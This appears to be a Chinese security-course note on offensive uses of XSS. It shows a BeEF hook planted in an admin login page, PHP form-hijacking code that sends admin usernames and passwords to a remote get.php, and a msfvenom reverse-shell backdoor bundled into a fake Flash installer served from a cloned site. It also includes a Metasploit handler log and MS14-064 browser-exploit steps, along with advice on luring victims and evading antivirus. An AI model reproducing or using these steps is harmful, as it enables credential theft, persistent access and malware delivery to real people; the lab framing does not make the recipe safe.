day37WEB攻防-通用漏洞XSS跨站权限维持钓鱼捆绑浏览器漏洞

目录

XSS-后台植入 Cookie&表单劫持（权限维持）

案例演示

XSS-Flash 钓鱼配合 MSF 捆绑上线

1、生成后门

2、下载官方文件-保证安装正常

3、压缩捆绑文件-解压提取运行

4、MSF 配置监听状态

5、诱使受害者访问 URL-语言要适当

XSS-浏览器网马配合 MSF 访问上线

1、配置 MSF 生成 URL

2、诱使受害者访问 URL-语言要适当

---

本章知识点：

1 、 XSS 跨站 - 另类攻击手法分类

2 、 XSS 跨站 - 权限维持 & 钓鱼 & 浏览器等

配套资源（百度网盘）

链接：https://pan.baidu.com/s/1ylKH1_BZI1OB2fNKP7scug?pwd=z00z 
提取码：z00z

XSS-后台植入 Cookie&表单劫持（权限维持）

- 条件：已取得相关 web 权限后

1 、写入代码到登录成功文件，利用 beef 或 xss 平台实时监控 Cookie 等凭据实现权限

维持

2 、若存在同源策略或防护情况下， Cookie 获取失败可采用表单劫持或数据明文传输实

现

什么是权限维持，就是虽然我们获取到了网站权限，但是并不能保证一直拥有权限，因为可能某一天对方的杀毒软件将我们植入的后门代码给删除了，那么就不能保证权限的持续，所以要获取管理员后台的登入账号密码，虽然可以通过获取Cookie值进行登入，但是如果在有防护的情况下获取到的Cookie值可能是错误的，这样就无法登入后台。当然我们在拥有权限的基础上，可以直接进入通过数据库查看账号密码，但是如果密码加密了呢，而且还是无法解密呢，虽然数据库里面也能获取到一些数据，但是不够直观，但是后台的数据是直观的，所以这里要解决的就是在获取了权限的情况下无法登入后台的情况。

表单劫持能够解决Cookie获取失败和获取到了后台用户密码但是无法解密的情况

案例演示

搭建环境，对应的源码配套资料里面有

在管理员登入成功界面植入xss代码，然后模拟管理员登入，通过beef或者xss平台获取Cookie值，这里使用的是beef

<script src="http://192.168.68.130:3000/hook.js"></script>

 /admin/index.php

登入beef查看在线主机获取Cookie值 

这里有点尴尬，这个Cookie值是正确的，可以通过抓包改包成功登入后台 

ok现在我们尝试用表单劫持获取后台的登入账号密码，基本思路：要先知道登入界面的数据会传到哪个文件进行后台处理，我们追踪到那个文件通过js代码将数据获取然后传到我们的远程主机上面，这样我们就可以成功获取到后台的账号密码。

在登入界面通过抓包查看数据的走向

然后在目录下找到对应文件打开，阅读代码功能

我们在下面写入对应代码获取数据

$up='<script src=http://IP/hyw/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>';
echo $up;

登入远程服务器，在服务器对应目录新建get.php文件，在get.php文件里写入接收数据的对应代码 

<?php
$u = $_GET['user'];
$p = $_GET['pass'];
$myfile = fopen("newfile.txt", "w+");
fwrite($myfile, $u);
fwrite($myfile, '|');
fwrite($myfile, $p);
fclose($myfile);
?>

模拟登入然后查看get.php同目录下的newfile.txt文件

XSS-Flash 钓鱼配合 MSF 捆绑上线

- 条件： beef 上线受控后或直接钓鱼（受害者爱看 SESE ）

1、生成后门

打开kail Linux，输入下面命令，xxx代表IP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe

2、下载官方文件-保证安装正常

官方网址：https://www.flash.cn/

下载到桌面

3、压缩捆绑文件-解压提取运行

选中下载的官方软件以及后门软件

修改名称，选择创建自解压格式 

 

 

 更改图标(对应的软件在配套资源里面有）

这样我们就将官方软件和我们的后门软件捆绑在一起了 

接着就是将我们捆绑好的软件放到自己搭建的网站上去

然后搭建一个和flash官方网站差不多的页面用来迷惑攻击者（源吗在配套资源里面）

然后将刚刚上传到自己网站的后门软件链接替换下载链接

 ok，现在只要将我们将仿制的官方界面对应的链接发给受害者，对方点击了下载按钮就会下载捆绑软件，而捆绑里面有我们的后门软件,当然现在去尝试点击下载可能会被电脑拦截，除非我们做了免杀。 

4、MSF 配置监听状态

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run

┌──(root㉿aozhan)-[~]
└─# msfconsoleMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMMhttps://metasploit.com=[ metasploit v6.3.27-dev                          ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]Metasploit tip: Enable verbose logging with set VERBOSE 
true                                                                                                                  
Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 0.0.0.0:6666 
[*] Sending stage (175686 bytes) to 192.168.68.1
[*] Meterpreter session 1 opened (192.168.68.130:6666 -> 192.168.68.1:12455) at 2024-02-01 15:57:29 +0800

 对方上线之后直接获取对方主机操作权限。这里就不往下走了，感兴趣的朋友可以自己体会。

5、诱使受害者访问 URL-语言要适当

两种方式让受害者访问下载链接

1，通过诱惑让受害者访问

2，通过beef构造xss，使页面跳转

3，将免杀做好很关键

XSS-浏览器网马配合 MSF 访问上线

- 条件： beef 上线受控后或直接钓鱼（浏览器存在 0day ）

MS14-064简介: Microsoft Windows OLE远程代码执行漏洞, OLE (对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影Win95+IE3 - Win10+IE11全版本。

1、配置 MSF 生成 URL

msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run

2、诱使受害者访问 URL-语言要适当

漏洞复现：https://www.cnblogs.com/panglinglong/p/17393402.html